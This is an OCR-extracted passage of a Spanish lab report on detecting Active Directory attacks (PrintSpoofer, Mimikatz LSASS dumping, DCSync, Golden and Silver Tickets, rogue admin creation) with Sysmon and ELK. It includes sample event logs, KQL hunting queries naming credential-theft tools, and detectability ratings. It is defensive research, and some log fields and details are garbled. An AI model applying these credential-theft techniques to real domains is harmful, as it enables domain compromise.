observadas durante el funcionamiento normal de servicios corporativos y comunicaciones
internas entre sistemas.

El analisis mostro que la visibilidad sobre accesos a bases de datos y consultas SQL dependen
casi completamente del nivel de auditorio habilitado sobre el propio servidor MSSQL.
Actividades como enumeracién de bases de datos, consultas sobre tablas sensibles o acceso a
informacidn potencialmente critica no generaron volumetria util.

Por el contrario, determinadas acciones asociadas al abuso avanzado de MSSQL si generaron
indicadores mucho mas visibles dentro del entorno monitorizado. La activaciéon de xp_cmdshell
mediante el evento 15457 proporciono una evidencia especialmente relevante desde el punto
de vista defensivo ya que este comportamiento resulta altamente anémalo en la mayoria de los
entornos corporativos y suele asociarse directamente a escenarios de ejecucién remotay
postexplotaciéon sobre SQL Server.

En conjunto, esta fase muestra que mientras que una gran parte de la actividad ofensiva puede
integrarse completamente dentro del funcionamiento normal de aplicacionesy servicios
empresariales, determinadas técnicas avanzadas como xp_cmdshell contindian generando
indicadores altamente detectables cuando existe una monitorizacidon adecuada sobre AD, SQL
Servery Sysmon.

Fase 5 - Escalada de privilegios y compromiso del dominio

Esta fase estuvo orientada a la obtencidén de privilegios elevados dentro del dominio y al
establecimiento de mecanismos de persistencia capaces de garantizar acceso continuado
sobre la infraestructura AD.

Durante esta etapa se realizaron técnicas de escalada local de privilegios, robo de credenciales
en memoria, replicacidon maliciosa del dominio mediante DCSync, abuso avanzado de Kerberos
mediante Goldeny Silver Ticket y se crearon nuevas cuentas privilegiadas dentro del entorno
corporativo.

Desde el punto de vista defensivo, esta fase presento alguno de los indicadores mas visibles
observados durante todo el laboratorio, especialmente en técnicas relacionadas con LSASS,
replicacion de AD y modificaciones administrativas y grupos privilegiados.



Sin embargo, determinadas técnicas basadas en tickets Kerberos falsificados continuaron
presentando una visibilidad significativamente menor debido a que permiten al atacante operar
usando autenticaciones aparentemente legitimas sin necesidad de interactuar constantemente
con el controlador de dominio.

Escalada de privilegios con PrintSpoofer

Tras obtener acceso inicial sobre el sistema comprometido SQL02, se realizd escalada local de
privilegios usando PrintSpoofer para obtener privilegios elevados sobre el endpoint
comprometido. Esta actividad corresponde con la técnica MITRE T1068 — Explotation for
Privilege Escalation.

Durante el andlisis realizado en ELK se identificaron principalmente eventos de Sysmon
asociados con la ejecucién de herramientas ofensivas:

e Sysmon EventlID 5: Process terminated
Se adjunta log de muestra:

{"message":"Process terminated: RuleName: - UtcTime: 2025-12-31 10:12:20.895 ProcessGuid:
{621ECB58-F704-6954-3101-000000000B00} Processld: 3352 Image:
C:\\Tools\\PrintSpoofer64.exe User:
SQLO2\\Administrator","@metadata.beat":"winlogbeat","@metadata.type":"_doc","@metadata.ver
sion":"9.2.1""@timestamp":"2025-12-31T11:12:20.907Z","agent.ephemeral_id":"9daed569-0d23-
4c7e-a395-5adc1d9f0ac4""agent.id":"eb9bdf9e-a979-4c11-bc2f-
ab65491abdc4a'"agent.name":"SQL02""agent.type":"winlogbeat","agent.version":"9.2.1""ecs.versi
on":"8.0.0""event.action":"Process terminated (rule:
ProcessTerminate)","event.code":"5""event.created":"2025-12-
31T11:12:22.301Z""event.kind":"event","event.provider":"Microsoft-Windows-
Sysmon',"log.level":"information","source_type":"logstash","timestamp":"2025-12-
31T711:12:20.907Z""winlog.channel":"Microsoft-Windows-
Sysmon/Operational","winlog.computer_name":"SQL02.lab.local","winlog.event_data.Image":"C:\
\Tools\\PrintSpoofer64.exe","winlog.event_data.ProcessGuid":"{621ECB58-F704-6954-3101-
000000000B00}","winlog.event_data.Processld":"3352""winlog.event_data.RuleName":"-
""winlog.event_data.User":"SQLO2\\Administrator","winlog.event_data.UtcTime":"2025-12-31
10:12:20.895""winlog.event_id":"5","winlog.opcode":"Info","winlog.process.pid":"2788","winlog.pr
ocess.thread.id":"2772","winlog.provider_guid":"{5770385F-C22A-43E0-BF4C-
06F5698FFBD9}",'winlog.provider_name":"Microsoft-Windows-
Sysmon","winlog.record_id":"791""winlog.task":"Process terminated (rule:
ProcessTerminate)","winlog.user.domain":"NT AUTHORITY","winlog.user.identifier":"S-1-5-
18""winlog.user.name":"SYSTEM","winlog.user.type":"User","winlog.version":"3""_id":"KOLJcZsBkdi

8L373N6g5""_ignored":"-""_index":"vector-2025.12.31""_score":1}

En este evento se evidencia la ejecucidn de PrintSpoofer sobre el servidor SQL02. Aunque el
evento registrado corresponde con el proceso de finalizacién, Sysmon permite identificar
informacidén especialmente relevante desde la perspectiva defensiva como:

e Nombre de la herramienta.

o Ruta del binario ejecutado.

e Usuario asociado al proceso.
e Sistema afectado.

La consulta KQL usada para localizar actividad relacionada con PrintSpoofer fue:



event.code:5 AND message: *PrintSpoofer*
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Ilustracion 59. Eventos de finalizacion de ejecucion de la herramienta PrintSpoofer en SQLO2 desde la ruta C:\Tools

En esta imagen se muestran 4 eventos de finalizacidon de ejecucion de la herramienta
PrintSpoofer en el sistema SQLO02. El ejecutable se encontraba alojado en la ruta C:\Tools.

Uno de los aspectos mas relevantes observados durante esta fase es que herramientas como
PrintSpoofer generan visibilidad relativamente elevada cuando Sysmon se encuentra
correctamente configurado sobre le endpoint comprometido.

Ademas, la aparicién de binarios ofensivos ejecutados fuera de rutas habituales del sistema
constituyen un comportamiento claramente anémalo dentro de la mayoria de los entornos
corporativos monitorizados.

Por otra parte, la capacidad real de deteccién depende significativamente de la configuracién
de Sysmon, reglas de monitorizacién de proyectos, correlacion de herramientas ofensivas
conocidas y supervision de escalada local de privilegios.

Este comportamiento muestra que las técnicas de escalada local de privilegios continuan
dependiendo en gran medida de la capacidad defensiva desplegada directamente sobre los
sistemas comprometidos y no unicamente del controlador del dominio.

Por ello, la detectabilidad de esta técnica se considera media/alta ya que Sysmon proporciona
evidencias Utiles sobre la ejecucién de la herramienta de escalada de privilegios, aunque la
deteccion efectiva precisa de monitorizacién avanzada y reglas especificas sobre procesos
sospechosos.

Ejecucion de Mimikatz

Una vez obtenidos privilegios elevados sobre el servidor comprometido, se ejecutaron técnicas
orientadas a la extraccion de credenciales en memoria mediante acceso al proceso lsass. Esta
actividad corresponde con la técnica MITRE T1003.001 — OS Credential Dumping: LSASS
Memory.

Durante esta fase se identificaron eventos asociados a creacion de procesos criticos del
sistema y actividad relacionada con LSASS, junto con la terminacion del proceso de ejecucioén
de Mimikatz:

e EventlD 4688: Process creation.
e Sysmon EventlID 5: Process terminated.

Se adjunta log de muestra:



{"agent.name":"SQL02""message":"A new process has been created. Creator Subject: Security
ID: S-1-5-18 Account Name: - Account Domain: - Logon ID: 0x3e7 Target Subject: Security ID: S-1-
0-0 Account Name: - Account Domain: - Logon ID: 0x0 Process Information: New Process ID:
0x2e4 New Process Name: C:\\Windows\\System32\\lsass.exe Token Elevation Type:
TokenElevationTypeDefault (1) Mandatory Label: S-1-16-16384 Creator Process ID: 0x278 Creator
Process Name: C:\\Windows\\System32\\wininit.exe Process Command Line: Token Elevation
Type indicates the type of token that was assigned to the new process in accordance with User
Account Control policy. Type 1 is a full token with no privileges removed or groups disabled. A full
token is only used if User Account Control is disabled or if the user is the built-in Administrator
account or a service account. Type 2 is an elevated token with no privileges removed or groups
disabled. An elevated token is used when User Account Control is enabled, and the user chooses
to start the program using Run as administrator. An elevated token is also used when an
application is configured to always require administrative privilege or to always require maximum
privilege, and the user is a member of the Administrators group. Type 3 is a limited token with
administrative privileges removed and administrative groups disabled. The limited token is used
when User Account Control is enabled, the application does not require administrative privilege,
and the user does not choose to start the program using Run as
administrator.","winlog.computer_name":"SQLO02.lab.local","@metadata.beat":"winlogbeat","@me
tadata.type":"_doc""@metadata.version":"9.2.1""@timestamp":"2025-11-
24T715:44:26.078Z","agent.ephemeral_id":"9e0da3b2-6810-43da-926b-
fc39492f6f18","agent.id":"eb9bdf9e-a979-4c11-bc2f-
a65491abdc4a","agent.type":"winlogbeat","agent.version":"9.2.1""ecs.version":"8.0.0","event.actio
n":"Process Creation","event.code":"4688","event.created":"2025-11-
24T15:46:47.920Z""event.kind":"event","event.outcome":"success","event.provider":"Microsoft-
Windows-Security-
Auditing","log.level":"information","source_type":"logstash","timestamp":"2025-11-
24T715:44:26.078Z","winlog.channel":"Security","'winlog.event_data.MandatoryLabel":"S-1-16-
16384","winlog.event_data.NewProcessld":"0x2e4","winlog.event_data.NewProcessName":"C:\\
Windows\\System32\\lsass.exe","winlog.event_data.ParentProcessName":"C:\\Windows\\System
32\\wininit.exe","winlog.event_data.Processld":"0x278","'winlog.event_data.SubjectDomainName"
"-""winlog.event_data.SubjectLogonld":"0x3e7",'winlog.event_data.SubjectUserName":"-
""winlog.event_data.SubjectUserSid":"S-1-5-18","winlog.event_data.TargetDomainName":"-
""winlog.event_data.TargetLogonld":"0x0","winlog.event_data.TargetUserName":"-
""winlog.event_data.TargetUserSid":"S-1-0-
0""'winlog.event_data.TokenElevationType":"TokenElevationTypeDefault
(1)""winlog.event_id":"4688","winlog.keywords":"Audit
Success","winlog.opcode":"Info","winlog.process.pid":"4""winlog.process.thread.id":"496","winlog
.provider_guid":"{54849625-5478-4994-A5BA-
3E3B0328C30D}","winlog.provider_name":"Microsoft-Windows-Security-
Auditing","winlog.record_id":"3283","winlog.task":"Process
Creation","winlog.version":"2""_id":"q5dVtpoBScXz9zJbDj8l""_ignored":"message.keyword","_inde
x":"vector-2025.11.24""_score":6.178}

Este evento refleja actividad relacionada con el proceso lsass[.]Jexe, componente critico de
Windows encargado de gestionar autenticaciones, credenciales y tokens de seguridad dentro
del sistema operativo.

Durante escenarios de credential dumping mediante herramientas como Mimikatz, el proceso
LSASS constituye uno de los principales objetivos debido a que almacena:

Hashes NTLM.

Tickets Kerberos.

Credenciales en memoria.

Tockens de autenticacion reutilizables.



Se adjunta log de muestra:

{"message":"Process terminated: RuleName: - UtcTime: 2025-12-31 10:31:49.793 ProcessGuid:
{621ECB58-FA9B-6954-9701-000000000B00} Processld: 1168 Image: C:\\Program
Files\\mimikatz.exe User:
SQLO2\\Administrator","@metadata.beat":"winlogbeat","@metadata.type":"_doc",'"@metadata.ver
sion":"9.2.1""@timestamp":"2025-12-31T11:31:49.797Z""agent.ephemeral_id":"9daed569-0d23-
4c7e-a395-5adc1d9f0ac4""agent.id":"eb9bdf9e-a979-4c11-bc2f-
ab65491abdc4a","agent.name":"SQL02""agent.type":"winlogbeat","agent.version":"9.2.1""ecs.versi
on":"8.0.0""event.action":"Process terminated (rule:
ProcessTerminate)","event.code":"5""event.created":"2025-12-
31T11:31:51.228Z""event.kind":"event","event.provider":"Microsoft-Windows-
Sysmon","log.level":"information","source_type":"logstash",'timestamp":"2025-12-
31T11:31:49.797Z""winlog.channel":"Microsoft-Windows-
Sysmon/Operational","winlog.computer_name":"SQLO02.lab.local","winlog.event_data.Image":"C:\
\Program Files\\mimikatz.exe","winlog.event_data.ProcessGuid":"{621ECB58-FA9B-6954-9701-
000000000B00}","winlog.event_data.Processld":"1168""winlog.event_data.RuleName":"-
""winlog.event_data.User":"SQLO2\\Administrator","winlog.event_data.UtcTime":"2025-12-31
10:31:49.793""winlog.event_id":"5","winlog.opcode":"Info","winlog.process.pid":"2788","winlog.pr
ocess.thread.id":"2772","winlog.provider_guid":"{5770385F-C22A-43E0-BF4C-
06F5698FFBD9}","'winlog.provider_name":"Microsoft-Windows-
Sysmon","winlog.record_id":"907","winlog.task":"Process terminated (rule:
ProcessTerminate)","winlog.user.domain":"NT AUTHORITY""winlog.user.identifier":"S-1-5-
18""winlog.user.name":"SYSTEM","winlog.user.type":"User","winlog.version":"3""_id":"HOLbcZsBk

di8L373DbNC","_ignored":"-""_index":"vector-2025.12.31""_score":1}

Este otro evento muestra la terminacion de ejecucion de Mimikatz desde la ruta C:\Tools en el
sistema SQLO02 ejecutada por el Administrator. Este evento tiene Sysmon EventID 5.

La consulta KQL usada para localizar actividad relacionada con LSASS fue:

event.code:4688 AND message: *lsass.exe* and "SQL02"
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Ilustracion 60. Eventos de creacion de procesos relacionados con [sass.exe registrados en el sistema SQL02

En esta imagen se muestra 18 eventos de creacion de procesos lsass[.]exe desde el sistema
SQLO2.



event.code:5 AND message: *mimikatz*

Ilustracion 61. Proceso de terminacion de la ejecucion de Mimikatz.

Desde una perspectiva defensiva, uno de los aspectos mas relevantes observados durante esta
parte de la fase es que los accesos a LSASS constituyen uno de los comportamientos mas
monitorizados dentro de entornos Windows modernos.

Ademas, soluciones EDR, Sysmon y mecanismos avanzados de proteccién suelen detectar
accesos no autorizados a LSASS, lectura de memoria, apertura de handles privilegiados,
ejecucion de herramientas de dumpingy procesos asociados a extraccion de credenciales.

Aunque el evento corresponde a la creacién de proceso y no muestra el volcado directamente
de memoria, la correlacion con actividad de Mimikatz sobre LSASS constituye un indicador
especialmente claro dentro del contexto del laboratorio.

Otro aspecto importante es que muchos ataques modernos contra AD dependen directamente
de la capacidad del atacante para acceder a credenciales almacenadas en memoria mediante
herramientas como Mimikatz.

Por ello, la detectabilidad de esta técnica se considera alta ya que la actividad relacionada con
acceso LSASS y credential dumping suele generar indicadores claramente sospechosos cuando
existen mecanismos adecuados de monitorizacidon sobre endpoints y procesos criticos del
sistema.

DCSync

Tras obtener privilegios elevados dentro del dominio, se ejecuto la técnica DCSync con el
objetivo de abusar de los mecanismos de replicacién de AD y obtener informacién sensible del
dominio. Esta actividad corresponde con la técnica MITRE T1003.006 — DCSync.

Durante el anélisis en ELK se identificaron eventos relacionados con acceso a objetos de
servicio de directorio:

e EventlD 4662: Directory Service Access
e Se adjunta log de muestra:

{"event.code":"4662""winlog.event_data.Properties":"Control Access {1131f6aa-9c07-11d1-f79f-
00c04fc2dcd2} {19195a5b-6da0-11d0-afd3-
00c04fd930c9}","@metadata.beat":"winlogbeat","@metadata.type":"_doc"'@metadata.version":"
9.2.0""@timestamp":"2025-11-24T720:26:50.369Z","agent.ephemeral_id":"9ab6c6b6-12bf-4aed-
ab94-591f6855499d","agent.id":"957f330b-4ef3-4796-ac55-
17c5f2a4872f""agent.name":"DC01","agent.type":"winlogbeat","agent.version":"9.2.0","ecs.version
":"8.0.0""event.action":"Directory Service Access","event.created":"2025-11-
24T20:26:51.784Z""event.kind":"event","event.outcome":"success","event.provider":"Microsoft-
Windows-Security-Auditing","log.level":"information","message":"An operation was performed on
an object. Subject : Security ID: S-1-5-18 Account Name: DC01$ Account Domain: LAB Logon ID:

0x148c65 Object: Object Server: DS Object Type: %{19195a5b-6da0-11d0-afd3-00c04fd930c9}




Object Name: %{63ea1f70-4a1a-42b1-95b3-81341d362585} Handle ID: 0x0 Operation: Operation
Type: Object Access Accesses: Control Access Access Mask: 0x100 Properties: Control Access
{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2}{19195a5b-6da0-11d0-afd3-00c04fd930c9} Additional
Information: Parameter 1: - Parameter 2: ""source_type":"logstash","timestamp":"2025-11-
24T720:26:50.369Z""winlog.channel":"Security","winlog.computer_name":"DCO01.lab.local","winlog
.event_data.AccessList":"Control Access
""winlog.event_data.AccessMask":"0x100","winlog.event_data.Additionallnfo":"-
""winlog.event_data.Handleld":"0x0","winlog.event_data.ObjectName":"%{63ea1f70-4a1a-42b1-
95b3-
81341d362585}","winlog.event_data.ObjectServer":"DS""winlog.event_data.ObjectType":"%{1919
5a5b-6da0-11d0-afd3-00c04fd930c9}","'winlog.event_data.OperationType":"Object
Access","winlog.event_data.SubjectDomainName":"LAB","winlog.event_data.SubjectLogonld":"0x
148c65","winlog.event_data.SubjectUserName":"DC01$",'winlog.event_data.SubjectUserSid":"S-
1-5-18""winlog.event_id":"4662""winlog.keywords":"Audit
Success","winlog.opcode":"Info","winlog.process.pid":"776","winlog.process.thread.id":"904","winl
og.provider_guid":"{54849625-5478-4994-A5BA-
3E3B0328C30D}","winlog.provider_name":"Microsoft-Windows-Security-
Auditing","winlog.record_id":"1521407","winlog.task":"Directory Service
Access",)"_id":"MZhVt50BScXz9zJbdgG2","_ignored":"message.keyword","_index":"vector-

2025.11.24"" _score":11.023}

El elemento mas relevante aqui es el GUID “{1131f6aa-9¢c07-11d1-f79f-00c04fc2dcd2}”. Este
identificador estd asociada al permiso de DS-Replication-Get-Changes usado en operaciones
de replicacion de AD. Este tipo de permisos resulta especialmente relevante en ataques
DCSync ya que permite solicitar informacién del directorio simulando comportamientos
propios de un controlador de dominio.

La consulta KQL usada para localizar esta actividad fue:

event.code:4662 AND (winlog.event_data.Properties: *1131f6aa* OR
winlog.event_data.Properties: *1131f6ad*)

Ilustracion 62. Eventos de acceso a replicacion de Active Directory asociados al GUID 1131f6aa-9c07-11d1-f79f-
00c04fc2dcd2, caracteristicos de actividad DCSync

En esta imagen se muestran eventos con los GUID {1131f6aa-9c07-11d1-f79f-00c04fc2dcd2}
usados en replicacion de Active Directory, muy relevante en ataques DCSync.



Uno de los aspectos més importantes observados durante la fase es que el evento 4662 puede
generar una cantidad considerable de ruido dentro de AD ya que determinadas operaciones de
replicacion son legitimas cuando las realizan controladores de dominio. En este caso concreto,
la cuenta observada es DC01$ por lo que el evento aislado no debe interpretarse
automaticamente como malicioso.

Aun asi, la presencia de permisos de replicacion como DC-Replication-Get-Changes constituye
una evidencia especialmente sensible que debe ser monitorizada de forma especifica. En un
entorno real, la apariciéon de estos eventos asociados a cuentas que no sean controladores de
dominio o cuentas autorizadas de replicacién seria un indicador muy sélido de posible DCSync.

Por esto la detectabilidad de esta técnica se considera alta siempre que exista auditoria
avanzada sobre objetos de AD y reglas especificas orientadas a permisos de replicacion.

Golden Ticket

Tras obtener acceso al hash KRBTGT mediante técnicas de replicacion del dominio, se
realizaron ataques Golden Ticket con el objetivo de generar tickets Kerberos falsificados
capaces de otorgar privilegios elevados dentro del entorno AD. Esta actividad se corresponde
con la técnica MITRE T1558.001 — Golden Ticket.

Durante el analisis en ELK se identificé principalmente:
e EventlD 4672: Special privilege assigned to new logon.

Se adjunta log de muestra:

{"agent.name":"SQL02""event.code":"4672""winlog.event_data.SubjectDomainName":"LAB","@
metadata.beat":"winlogbeat",'@metadata.type":"_doc","@metadata.version":"9.2.1","@timestam
p":"2025-11-24T11:56:56.368Z","agent.ephemeral_id":"9daed569-0d23-4c7e-a395-
5adc1d9f0ac4","agent.id":"eb9bdf9e-a979-4c11-bc2f-

ab65491abdc4a")"agent.type":"winlogbeat","agent.version":"9.2.1""ecs.version":"8.0.0","event.actio
n":"Special Logon","event.created":"2025-12-
31T11:02:17.898Z""event.kind":"event","event.outcome":"success","event.provider":"Microsoft-
Windows-Security-Auditing","log.level":"information","message":"Special privileges assigned to
new logon. Subject: Security ID: S-1-5-18 Account Name: SQL02$ Account Domain: LAB Logon
ID: 0x34355 Privileges: SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege
SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege
SeLoadDriverPrivilege SelmpersonatePrivilege
SeDelegateSessionUserlmpersonatePrivilege",'source_type":"logstash","timestamp":"2025-11-
24T711:56:56.368Z","winlog.activity_id":"{04ED7E70-5D31-0001-2D7F-
ED04315DDCO01}"winlog.channel":"Security","winlog.computer_name":"SQL02.lab.local","winlog
.event_data.PrivilegeList":"SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege
SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege
SelLoadDriverPrivilege SelmpersonatePrivilege
SeDelegateSessionUserlmpersonatePrivilege","'winlog.event_data.SubjectLogonld":"0x34355","wi
nlog.event_data.SubjectUserName":"SQL02$",'winlog.event_data.SubjectUserSid":"S-1-5-
18""'winlog.event_id":"4672""winlog.keywords":"Audit
Success","winlog.opcode":"Info","winlog.process.pid":"740","winlog.process.thread.id":"788","winl
og.provider_guid":"{54849625-5478-4994-A5BA-
3E3B0328C30D}","winlog.provider_name":"Microsoft-Windows-Security-
Auditing","winlog.record_id":"2600","winlog.task":"Special
Logon","_id":"EUK_cZsBkdi8L3732Zq_","_ignored":"message.keyword","_index":"vector-
2025.11.24""_score":10.121}




Este evento refleja una autenticacion con privilegios elevados sobre el sistema comprometido.
Entre los privilegios observados destacan capacidades especialmente sensibles como:

e SeDebugPrivilege.

e SeBackupPrivilege.

e SeRestorePrivilege.

e SelmpersonatePrivilege.

Este tipo de privilegios suele encontrarse asociado a cuentas administrativas, cuentas de
sistema o sesiones altamente privilegiadas del dominio.

La query KQL usada para localizar este tipo de autenticaciones privilegiadas es:

event.code:4672 AND winlog.event_data.SubjectDomainName:"LAB"
AND NOT winlog.event_data.SubjectUserName: *$ AND NOT
winlog.event_data.SubjectUserName:"SYSTEM" AND
agent.name:("SQL02")
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Illustracion 63. Eventos de inicio de sesion con privilegios especiales (Event ID 4672) registrados en el sistema SQL02
Esta imagen muestra evento de inicio de sesidn con privilegios elevados sobre SQL02.

Durante el andlisis fue necesario aplicar filtros especificos sobre los eventos 4672 debido a la
elevada cantidad de ruido generada por cuentas del sistema y cuentas maquina dentro del
entorno AD. Como consecuencia, se excluyeron autenticaciones SYSTEM y cuentas terminadas
en $ con el objetivo de reducir falsos positivos y centrar el analisis sobre autenticaciones
potencialmente sospechosas.

Uno de los aspectos mas relevantes observados durante esta fase es que Golden Ticket permite
generar autenticaciones aparentemente legitimas usando tickets Kerberos validos desde la
perspectiva del sistemay del controlador del dominio.

Como consecuencia de esto, las autenticaciones suelen registrarse correctamente, los eventos
generados son similares a accesos administrativos legitimos y gran parte de la actividad puede
confundirse con comportamiento normal del dominio.

Ademas, eventos como 4672 no permiten confirmas directamente el uso de Golden Ticket de
forma aislada ya que también aparecen habitualmente durante autenticaciones administrativas
legitimas. Por ello la deteccidn efectiva necesita de:

e Correlacion avanzada de eventos.



e Andlisis de comportamiento Kerberos.
e Revision de privilegios asignados.
e Monitorizacién contextual de autenticaciones privilegiadas.

Este comportamiento pone de manifiesto que el atacante puede operar usando tickets
aparentemente validos mientras mantiene privilegios elevados dentro del dominio sin generar
indicadores claramente anémalos.

Por esto, la detectabilidad de esta técnica se considera baja ya que diferenciar autenticaciones
legitimas de posibles tickets falsificados requiere capacidades avanzadas de correlacidony
analisis sobre actividad Kerberos dentro del entorno AD.

Creacion de usuario privilegiado (goldenadmin)

Con el objetivo de establecer persistenciay disponer de una cuenta privilegiada dentro del
dominio, se cred el usuario goldenadmin y se usaron permisos elevados sobre AD. Esta
actividad se corresponde con la técnica MITRE T1136.002 - Create Account: Domain Account.

Durante el anéalisis realizado en ELK se identificd eventos asociados a actividad administrativa
sensible sobre el controlador de dominio, destacando:

e EventlD 4662 - Directory Service Access

Se adjunta log de muestra:

{"message":"An operation was performed on an object. Subject : Security ID: S-1-5-21-
2625116736-1513678085-1295315389-2101 Account Name: goldenadmin Account Domain: LAB
Logon ID: 0x8999e5 Object: Object Server: DS Object Type: %{19195a5b-6da0-11d0-afd3-
00c04fd930c9} Object Name: %{63ea1f70-4a1a-42b1-95b3-81341d362585} Handle ID: 0x0
Operation: Operation Type: Object Access Accesses: Control Access Access Mask: 0x100
Properties: Control Access {1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}{19195a5b-6da0-11d0-
afd3-00c04fd930c9} Additional Information: Parameter 1: - Parameter 2:
""@metadata.beat":"winlogbeat","@metadata.type":"_doc",'@metadata.version":"9.2.0","@timest
amp":"2025-12-31T12:52:51.734Z""agent.ephemeral_id":"1d7da995-514¢c-45f4-bd8a-
8d6741bee1f8""agent.id":"957f330b-4ef3-4796-ac55-
17c5f2a4872f""agent.name":"DC01","agent.type":"winlogbeat","agent.version":"9.2.0","ecs.version
":"8.0.0""event.action":"Directory Service Access","'event.code":"4662""event.created":"2025-12-
31T712:52:53.4887""event.kind":"event","event.outcome":"success","event.provider":"Microsoft-
Windows-Security-
Auditing","log.level":"information","source_type":"logstash","timestamp":"2025-12-
31T12:52:51.734Z","winlog.channel":"Security","'winlog.computer_name":"DCO01.lab.local","winlog
.event_data.AccessList":"Control Access
""winlog.event_data.AccessMask":"0x100","'winlog.event_data.Additionallnfo":"-
""winlog.event_data.Handleld":"0x0","winlog.event_data.ObjectName":"%{63ea1f70-4a1a-42b1-
95b3-
81341d362585}","winlog.event_data.ObjectServer":"DS""winlog.event_data.ObjectType":"%{1919
5a5b-6da0-11d0-afd3-00c04fd930c9}",'winlog.event_data.OperationType":"Object
Access","winlog.event_data.Properties":"Control Access {1131f6ad-9c07-11d1-f79f-
00c04fc2dcd2} {19195a5b-6da0-11d0-afd3-
00c04fd930c9}","winlog.event_data.SubjectDomainName":"LAB","winlog.event_data.SubjectLogo
nld":"0x8999e5","'winlog.event_data.SubjectUserName":"goldenadmin',"winlog.event_data.Subje
ctUserSid":"S-1-5-21-2625116736-1513678085-1295315389-
2101","winlog.event_id":"4662",'winlog.keywords":"Audit

Success","winlog.opcode":"Info","winlog.process.pid":"788","winlog.process.thread.id":"916","winl




og.provider_guid":"{54849625-5478-4994-A5BA-
3E3B0328C30D}","winlog.provider_name":"Microsoft-Windows-Security-
Auditing","winlog.record_id":"2415038","winlog.task":"Directory Service
Access","_id":"BEllcpsBkdi8L373PM7r")"_ignored":"message.keyword","_index":"vector-
2025.12.31""_score":1}

El evento anterior muestra actividad realizada por la cuenta goldenadmin sobre objetos de
servicio de directorio. ELGUID “{1131f6ad-9¢c07-11d1-f79f-00c04fc2dcd2}”, corresponde, como
se dijo en un apartado anterior de esta misma fase, al permiso DS-Replication-Get-Changes-All,
asociado a operaciones de replicaciéon de AD y considerado altamente sensible dentro del
dominio.

La consulta KQL para localizar actividad relacionada con goldenadmin fue:

event.code:4662 AND
winlog.event_data.SubjectUserName:"goldenadmin"

=@ ¢ Couck o conmr-smw Do O | | TYESIOL  Wapect Aos 4+ ® seve

Ilustracion 64. Eventos de acceso y operaciones sensibles sobre Active Directory ejecutadas por la cuenta
goldenadmin

Esta imagen muestra actividad sobre directorios y actividad sensible de directorio de AD
ejecutada por goldenadmin.

Este evento resulta muy relevante porque evidencia que la cuenta goldenadmin no solo existe
dentro del dominio, sino que adema&s aparece asociada a operaciones sensibles de AD. En un
entorno real, una cuenta recientemente creada realizando acciones de control sobre objetos de
directorio o permisos de replicacién constituiria un indicador critico de compromiso.

A diferencia de técnicas mas sigilosas como Golden Ticket o Silver Ticket, la creaciény uso de
cuantas privilegiadas deja una trazabilidad administrativa mucho mas clara dentro del dominio.
Es por esto que la detectabilidad de esta técnica se considera alta, ya que genera eventos
visibles y altamente sensibles en los Security Logs del DC.

Silver Ticket
Durante esta fase se usaron tickets Kerberos asociados al servicio objetivo con el propésito de
acceder a recursos internos sin requerir una validacién completa y continua contra el



controlador de dominio. Esta actividad se corresponde con la técnica MITRE T1558.002 - Silver
Ticket.

Esta técnica presenta una caracteristica especialmente relevante desde el punto de e vista
defensivay es que el atacante puede autenticarse directamente contra el servicio objetivo
usando un ticket manipulado localmente, reduciendo considerablemente la generacién de
evidencias en DCO1. Esto provoca que gran parte de la actividad pase desapercibida para el
SIEMYy no existe una correlacidon avanzada entre multiples fuentes.

Durante el analisis realizado en ELK se identificaron principalmente:
e EventlD 4624 - An account was successfully logged on.

Se adjunta log de muestra:

{"event.code":"4624""winlog.event_data.AuthenticationPackageName":"Kerberos","winlog.event_
data.LogonType":"3""winlog.event_data.TargetUserName":"SQL02$","@metadata.beat":"winlogbe
at"'@metadata.type":"_doc",'@metadata.version":"9.2.0""@timestamp":"2025-11-
24T716:57:58.610Z""agent.ephemeral_id":"9ab6c6b6-12bf-4aed-ab94-
591f6855499d","agent.id":"957f330b-4ef3-4796-ac55-
17c5f2a4872f""agent.name":"DCO01","agent.type":"winlogbeat","agent.version":"9.2.0","ecs.version
":"8.0.0""event.action":"Logon","event.created":"2025-11-
24T16:57:59.110Z""event.kind":"event","event.outcome":"success","event.provider":"Microsoft-
Windows-Security-Auditing","log.level":"information","message":"An account was successfully
logged on. Subject: Security ID: S-1-0-0 Account Name: - Account Domain: - Logon ID: 0x0 Logon
Information: Logon Type: 3 Restricted Admin Mode: - Virtual Account: No Elevated Token: Yes
Impersonation Level: Impersonation New Logon: Security ID: S-1-5-21-2625116736-1513678085-
1295315389-1122 Account Name: SQL02$ Account Domain: LAB.LOCAL Logon ID: Oxdadb35
Linked Logon ID: 0x0 Network Account Name: - Network Account Domain: - Logon GUID:
{12DB5BF1-C3A3-6990-AAFF-154AEB3587EA} Process Information: Process ID: 0x0 Process
Name: - Network Information: Workstation Name: - Source Network Address: 192.168.109.17
Source Port: 49793 Detailed Authentication Information: Logon Process: Kerberos Authentication
Package: Kerberos Transited Services: - Package Name (NTLM only): - Key Length: 0 This event is
generated when a logon session is created. It is generated on the computer that was accessed.
The subject fields indicate the account on the local system which requested the logon. This is
most commonly a service such as the Server service, or a local process such as Winlogon.exe or
Services.exe. The logon type field indicates the kind of logon that occurred. The most common
types are 2 (interactive) and 3 (network). The New Logon fields indicate the account for whom the
new logon was created, i.e. the account that was logged on. The network fields indicate where a
remote logon request originated. Workstation names are not always available and may be left
blank in some cases. The impersonation level field indicates the extent to which a process in the
logon session can impersonate. The authentication information fields provide detailed
information about this specific logon request. - Logon GUID is a unique identifier that can be used
to correlate this event with a KDC event. - Transited services indicate which intermediate services
have participated in this logon request. - Package hame indicates which sub-protocol was used
among the NTLM protocols. - Key length indicates the length of the generated session key. This
will be 0 if no session key was requested.",'source_type":"logstash","timestamp":"2025-11-
24T716:57:58.610Z","winlog.channel":"Security","'winlog.computer_name":"DCO01.lab.local","winlog
.event_data.ElevatedToken":"Yes","winlog.event_data.ImpersonationLevel":"Impersonation","winl
og.event_data.lpAddress":"192.168.109.17","winlog.event_data.lpPort":"49793","winlog.event_dat
a.KeyLength":"0","winlog.event_data.LmPackageName":"-
""winlog.event_data.LogonGuid":"{12DB5BF1-C3A3-6990-AAFF-
154AEB3587EA},"'winlog.event_data.LogonProcessName":"Kerberos","winlog.event_data.Process

